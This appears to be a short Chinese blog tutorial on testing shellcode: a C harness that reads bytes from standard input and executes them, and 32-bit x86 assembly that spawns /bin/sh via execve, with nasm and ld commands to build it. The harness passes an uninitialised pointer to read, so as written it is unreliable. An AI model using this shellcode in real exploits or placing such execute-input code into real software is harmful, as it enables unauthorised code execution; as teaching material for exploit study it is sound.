用于测试shellcode的代码如下
#include <stdio.h>
void main()
{
char *shellcode;
read(0,shellcode,1000);
void(*run)()=shellcode;
run();
}
下面是我们要测试的shellcode,在上一节课,我们用到的
(上一节课:https://blog.csdn.net/prettyX/article/details/107301127)
;shellcode32.asm
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
使用汇编器nasm把shellcode编译成.o文件
nasm -f elf32 -o shellcode32.o shellcode32.asm
链接生成可执行文件
ld -m elf_i386 -o shellcode32 shellcode32.o
此时生成的shellcode32已经可以执行了